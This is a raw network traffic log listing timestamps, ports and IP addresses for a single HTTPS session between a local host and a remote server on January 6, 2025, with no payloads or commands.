Jan 6, 2025 15:47:45.192483902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192533970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.192677021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192698002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192718983 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.192727089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192743063 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.192954063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192970037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.192996025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.193003893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193203926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.193253994 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193275928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193399906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.193404913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193480015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193496943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193548918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.193548918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.193555117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193787098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193808079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193833113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.193839073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.193912029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.194705963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.195676088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.278727055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.278758049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.278834105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.278853893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279006004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279026985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279081106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279081106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279087067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279268026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279289961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279334068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279340029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279356956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279459953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279556036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279573917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279617071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279628992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279834986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279865026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279890060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279896021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.279922962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.279949903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280092955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280109882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280167103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280172110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280366898 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280380011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280396938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280422926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280435085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280462980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280462980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280554056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280601025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280606031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280867100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280884027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.280968904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.280973911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.281575918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.365983963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366012096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366117954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366132975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366146088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366167068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366204977 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366210938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366230011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366262913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366436005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366451025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366501093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366508007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366669893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366688967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.366753101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366753101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.366760015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367003918 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367017984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367064953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.367078066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367114067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.367114067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.367326021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367345095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367408991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.367414951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367508888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367527008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367608070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.367614985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367824078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367841959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367878914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.367885113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.367938042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.368329048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.368805885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.452807903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.452826977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.452908993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.452922106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453032970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453051090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453089952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453094959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453109980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453141928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453296900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453310013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453350067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453353882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453375101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453397989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453552008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453573942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453618050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453624964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453775883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453793049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453824043 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453830957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.453851938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.453872919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.454055071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454068899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454122066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.454127073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454320908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454338074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454406023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.454411983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454600096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454612970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.454660892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.454669952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.455718040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.455718040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.539674044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.539700985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.539778948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.539793015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.539958954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.539978027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.540024996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.540033102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.540055990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.540079117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.540266037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.540280104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.540330887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.540338039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.540426970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541199923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541224957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541281939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541290045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541302919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541327953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541359901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541367054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541389942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541399956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541426897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541435957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541440964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541454077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541482925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541559935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541577101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541614056 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541629076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541640997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541657925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541685104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541688919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.541738987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.541738987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.542723894 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.626823902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.626852989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.626894951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.626905918 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.626935005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.626955986 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627218962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627238989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627279043 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627285957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627307892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627327919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627338886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627355099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627388000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627393961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627417088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627430916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627620935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627638102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627669096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627681971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.627692938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.627715111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628057957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628078938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628129005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628134012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628180027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628201962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628226995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628232956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628249884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628273010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628570080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628587008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628622055 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628627062 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628652096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628660917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628789902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628804922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628835917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628840923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.628865004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.628880978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.629848957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.716208935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.716242075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.716298103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.716306925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.716331959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.716346979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717623949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717643023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717675924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717681885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717701912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717716932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717806101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717823982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717853069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717865944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717876911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717890978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717897892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717909098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717936039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717937946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717961073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.717966080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.717983007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718009949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718106985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718125105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718156099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718161106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718187094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718200922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718271971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718290091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718317986 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718323946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718348980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718357086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718449116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718466997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718492031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718497038 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718518019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718529940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718566895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718601942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718611956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718616009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.718640089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718652964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.718702078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.800754070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.800776005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.800867081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.800877094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.800954103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.800977945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801007986 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801013947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801023960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801053047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801220894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801239014 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801275969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801280975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801299095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801317930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801502943 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801520109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801553011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801558018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801583052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801595926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801760912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801779032 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801810026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801815987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.801836967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.801846027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802002907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802018881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802050114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802054882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802081108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802089930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802267075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802284956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802320004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802325964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802342892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802360058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802577972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802596092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802644014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.802650928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.802764893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.804063082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:45.887630939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.887653112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:45.887799025 CET	49746	443	192.168.2.4	172.67.208.58
